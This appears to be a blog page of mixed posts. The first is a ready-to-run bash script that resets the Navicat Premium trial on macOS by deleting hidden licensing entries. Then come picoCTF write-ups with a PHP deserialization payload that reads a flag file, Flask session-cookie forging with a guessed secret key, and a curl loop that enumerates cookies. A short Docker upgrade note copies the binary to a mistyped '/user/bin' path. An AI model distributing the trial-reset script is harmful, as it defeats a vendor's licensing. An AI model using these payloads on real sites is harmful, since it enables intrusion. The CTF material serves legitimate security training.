Reset navicat trial

Reset the Navicat trial time on Mac.

#!/bin/bash

set -e

file=$(defaults read /Applications/Navicat\ Premium.app/Contents/Info.plist)

regex="CFBundleShortVersionString = \"([0-9]+)"
if [[ $file =~ $regex ]]; then
    version=${BASH_REMATCH[1]}
else
    echo "Unable to detect Navicat Premium version."
    exit 1
fi

echo "Detected Navicat Premium version $version"

case $version in
    "17"|"16")
        plist_file=~/Library/Preferences/com.navicat.NavicatPremium.plist
        ;;
    "15")
        plist_file=~/Library/Preferences/com.prect.NavicatPremium15.plist
        ;;
    *)
        echo "Version '$version' not handled"
        exit 1
       ;;
esac

echo -n "Resetting trial time..."

regex="([0-9A-Z]{32}) = "
if [[ $(defaults read "$plist_file") =~ $regex ]]; then
    hash=${BASH_REMATCH[1]}
    if [ -n "$hash" ]; then
        defaults delete "$plist_file" "$hash"
    fi
fi

regex="\.([0-9A-Z]{32})"
if [[ $(ls -a ~/Library/Application\ Support/PremiumSoft\ CyberTech/Navicat\ CC/Navicat\ Premium/ | grep '^\.') =~ $regex ]]; then
    hash2=${BASH_REMATCH[1]}
    if [ -n "$hash2" ]; then
        rm ~/Library/Application\ Support/PremiumSoft\ CyberTech/Navicat\ CC/Navicat\ Premium/."$hash2"
    fi
fi

echo " Done"

pioCTF - Super Serial

先檢查 robots.txt 發現有 Disallow: /admin.phps 接下來就檢查 /index.phps ,可以看到 Source Code,接下檢查發現他引用了兩隻 php authentication.php cookie.php

一樣先檢查他們的 Source code,會發現有一隻從 Cookie 可以反序列化的函式

以下是 playload,將得到的 Token 塞進 Cookie 就拿到 Flag。

<?php
class access_log {
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}
$perm = new access_log("../flag");
echo base64_encode(serialize($perm));
?>

pioCTF - caas

https://picoctf/cowsay/{message}

蠻簡單的一題,一隻牛會說出您輸入的訊息。這題有提供 index.js,不過我沒注意到就直接解了。

Read more  ↩︎

pioCTF - More Cookies 150 points

Cookies 的進階題,還有一個同名版本是 2021 年的 More Cookies 90 points 但那題感覺難上很多。

這次作者有提供 server 的 source code ,簡單來說就是直接 Open Book,他使用了一套叫做 Flask 的 Web framework。

服務啟動會隨機挑選餅乾名當作 Secret key,當使用 Session 時,去產生出加密後的 Cookies。

所以我們先照慣例,直接搜尋 snickerdoodle,從開發者模式取得 Cookie,原本想自己照他的模式,寫類似的 python 來跑,不過從 Google 發現這個有人已經寫出加解密套件。

GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

cookies=(a b c)

for i in "${cookies[@]}"; do echo "$i"; python ./flask_session_cookie_manager3.py decode -s "$i" -c [cookies]; done

順利的話會找到對應的 Secret key,也可以稍微看一下解密出來的明文的樣子,再把內文改成 admin,再用 Key 拿去加密,組成 Cookies 回寫瀏覽器就解了。

pioCTF - Cookies

這一題標題就非常明示的,這是跟 Cookies 有關係。 打開網址首先會看到一個輸入匡跟搜尋按鈕,輸入匡裡還有 placeholder 寫著 snickerdoodle。直接輸入 snickerdoodle

會出現 I love snickerdoodle cookies!

打開瀏覽器開發工具,找出 Cookies 會發現寫了一筆 name = 0 的 Cookie ,以此類推,可能會有 1, 2, 3... 的 cookies。

接下來 curl 是工程師的好朋友,寫一隻 Shell Script。因為 Flag 有某些特徵,所以我用 Grep 去過濾掉不要的資訊。

#!/bin/bash

set -B
for i in {0..28}; do
  curl -v --silent 'http://picoctf/check' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://picoctf/check' -H 'Cookie: name='$i -H 'Upgrade-Insecure-Requests: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' 2>&1 | grep pico
done

這題分數雖然不高,其實也真的不難,但寫 Shell Script 蠻有趣的。

自行升級 Docker

最近遇到一個 Bug 實際追下去後才發現到是 AWS 提供的 docker 版本不是最新的,Docker 網站有提供編譯好的執行檔,可以直接下載覆蓋原有執行擋,爾後套件更新也會一並升上去。

$ wget https://download.docker.com/linux/static/stable/x86_64/docker-20.10.7.tgz
$ tar zxvf docker-20.10.7.tgz
$ sudo cp docker-20.10.7/docker /user/bin/docker